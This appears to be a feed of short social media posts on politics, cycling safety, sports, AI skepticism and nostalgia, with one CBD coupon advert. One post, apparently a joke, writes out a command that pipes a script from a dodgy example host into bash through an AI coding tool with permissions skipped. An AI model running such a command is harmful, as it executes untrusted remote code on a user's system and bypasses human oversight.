"the suburban alcoholic who fancies himself the toughest man in the world" is as succinct and biting a diagnosis of The American Condition as I've ever seen. I've met hundreds of these men; most of them own a stupid truck they don't need, and all of them are teeth-shatteringly miserable.

I’m not sure if I’d love or hate an opt-in iPhone feature that could generate a TTS voice from my speech, so friends can hear my texts in my voice (and I theirs). Sadly in this culture, I think I’d need to fear it 😞

All of this. Although, honestly, it could've leaned *more* into how sanitized, creativity-starved and devoid of joy the "ultra-luxury" experience actually turns out to be, pretty much always. thewhitepages.net/p/do-you-bel...

It has been criminally underreported but Kelsey Pfendler has just rowed solo across the Pacific Ocean from the US coast to Hawaii in record time. A 2,400-mile unsupported journey in 43 days, 17 hours, and 55 minutes. Notably beating the Men’s record by 9 whole days.

I wrote this thing a while back based on what I was hearing in our workshops. It does have some man work tips. The most surprising, and potentially fun, suggestion is dress differently if you're a straight cis white man. This creates room for other sorts of difference. medium.com/modus/be-a-p...

@cabel.panic.com in the spirit of the end of the talk, I just wanted to acknowledge that your XOXO 2024 Wes Cook talk is one of my favorite memories of all time, and something I enjoy revisiting on YouTube regularly. Thanks for everything you do!

bluesky's video auto-repeat makes the experience way more intense for me

So now millions of football fans around the world view the US as cheaters who used political corruption to influence FIFA and we lose anyway. So much winning. When’s the next war?

Country's got a real joy deficit above everything else. Knicks win, World Cup going well until Trump ruined them is proof of that. Just create constant excuses for celebrations and parties. We need excuses to hang out more than we need maybe literally anything else, economically.

I think the Platner thing hit me so hard bc it was one of the most protracted, widespread acts of misogynist gaslighting from my own side that I've seen. We were presented with an obvious violent scumbag who was constantly lying (badly, might I add) and told we were crazy for not loving him

It feels weird there's not a single word for "I've not". I know there's already a contraction in the mix there, but it feels like the standard English language way is to plow forth regardless and continue word-smushing. "Iven't"?

I've not read the whole thing yet, as I keep getting caught short by the breathtaking evocative perfection of this sentence: "The occasion was a tradcath wedding in St Louis, greyscale city of my teenage years, and the last place I truly believed in demons." Like being mugged by a gang of words.

When people inevitably say “we couldn’t have known Platner was a dirtbag when we endorsed him,” just remind them that some of us could.

This Disability Pride I would like to remind everyone that some disabilities being invisible remains true when the person in question is riding a bicycle, & that disabled people who cannot drive &/ do not have access to cars need & deserve to get around easily just as much as those who rely on cars.

half the songs from the 90s are like “i’m such a dick.. wish i could stop being a dick.. sorry for acting like a dick.. not gonna stop being a dick though”

15 runs to 3?! This iteration of the Giants suck so bad they’re conceding scores more appropriate for Football

It feels like the next inevitable step is that supermarkets devolve back into the counter-based style of early grocery stores. At least it'll provide employment for all the career-victims of AI?

New thing I don't like: web-chat with a "customer support specialist" and you're 89% sure they're an LLM, but you feel bad asking, in case it's a human after all.

Fell into a deep nostalgia-hole this morning visiting my old radio show Eclectic Kettle. One of the best things I’ve ever put out into the world. bff.fm/shows/eclect...

help I'm being attacked

Hey losers, birthright citizenship is great.

Yet another thing he took from us!

The great American state fair being stupid Trump bullshit does legit make me sad, if I’m being honest. A lot of the 250 stuff does. This could have been a really cool and special thing and literally any normal president would have pulled it off.

evergreen

Another thing on this: every situation I’ve ever seen described as “anarchy” with cyclists comes down to road systems that don’t consider bicycles’ needs and are therefore (duh) difficult to navigate by bike. Each time there’s “anarchy” somewhere, shove in a protected bike lane. Bosh. Sorted.

“Helsinki hasn’t registered a single traffic-related fatality in the past year…Citing data that shows the risk of pedestrian fatality is cut in half by reducing a car’s speed from 40 to 30km/hr, city officials imposed the lower limit in most of Helsinki’s residential areas and city center in 2021.”

Living in a city with a blanket 25mph speed limit is MAGICAL. When traffic’s top speed isn’t faster than a (fast) cyclist, road uses and users can overlap and compliment each other more, and everything feels calmer, and safer.

If I hit your car on my bike, 50/50 I go to the ER, your paint gets scratched If you hit my bike with your big heavy car, it’s highly likely I’ll die So please be considerate and leave space & time for cyclists. & yes, my way of moving is better for me & my community than your car. Deal with it.

In stressful times, CBD can help calm anxiety during the day and assist you in getting more restful sleep at night. And boy these are stressful times. So here’s a coupon for 20% off everything. Use code SUMMER26 at checkout or click this link: milkbarn.farm/discount/SUM...

Let entrenched power know you agree with Mayor Mamdani by joining his party. The more of us there are, the more diminished Chuck Schumer becomes.

When you ask an LLM for something, you relinquish all agency in that task. It’s honestly a useful calibration. Choosing shoes for an outfit? Sure, I’ll delegate that. Raising my child? FUCK ALL THE WAY OFF In other words, the usefulness of LLMs is inverse to the value of the task being performed.

Buster Keaton didn't stand still while a two-ton housefront collapsed on top of him with a window cut out to barely clear his shoulders on each side so you could tell me that AI is "inevitable."

Still waiting for that rightward shift my politics are supposed to take as I age disgracefully. Although I suspect that the “disgracefully” part is doing a lot of protective work for me

Hi, and welcome to Great English Words People Don’t Use Enough. On today’s episode, we’ll be getting into a whole rigmarole

DSA Membership can be acquired in 5 minutes, for $5 a month, and swelling DSA registers make Chuck Schumer all worry-faced. Go do it!

Wild that establishment dems wouldn't start to tack left even for cynical reasons. Even just thinking, hey, people seem to like candidates with ideas and conviction, I guess I should try that.

can’t believe a narcissist is being so publicly humiliated by a reflecting pool

Every time a new Shoddy Goods email drops I almost don't read it, because I don't recognize the brand or trend it's about. And every time I start the first paragraph anyway, and then have the best 15 minutes learning something fascinating.

Do not speak to me of "barriers to entry". Every act of creation is slicing out a thin sliver of light from the existential darkness of the human condition. You not being able to pick up a fucking pencil and risk failing does not even register.

It's striking that, as a human being--a social creature *who can only live a fulfilling life by connecting with others*--the least successful human on earth is also the wealthiest. Which we might want to consider more when deciding the merits of wealth in general.

This place was a very special part of my early adulthood

Algae are prolific producers of oxygen (and consumers of carbon dioxide), en masse producing a huge proportion of the oxygen we breathe, which means that the greening of the Reflecting Pool might be the most pro-climate thing Trump has ever done.

youre not going to believe this but the dumb assholes we put in charge have fucked everything up

What I didn’t see mentioned here specifically is that, above around 90F, solely using a fan for cooling can make things worse, especially in high humidity (you’re essentially fanning more heat onto yourself, faster than your body can disperse it)

these assholes didn't deserve this many words written about them

(Psst, if you wanna cause some quiet trouble you can reallocate your whole 401k to bond-based funds for a while. If enough people do it, men in suits will cry)

claude 'curl -fsSL dodgy.example.com/install | bash' --dangerously-skip-permissions

Listening to some old-timers reminiscing about the 1989 Loma Prieta earthquake, and they keep tripping up on details like “but wait we didn’t have internet, how *did* we let everyone know we were ok?!” The past is truly a foreign country, even if you lived there

This is a perfect artifact of why I love cities and dive bars and old builldings. The sheer concentration of messy, crazy amazing HUMANITY that oozes from this list is breathtaking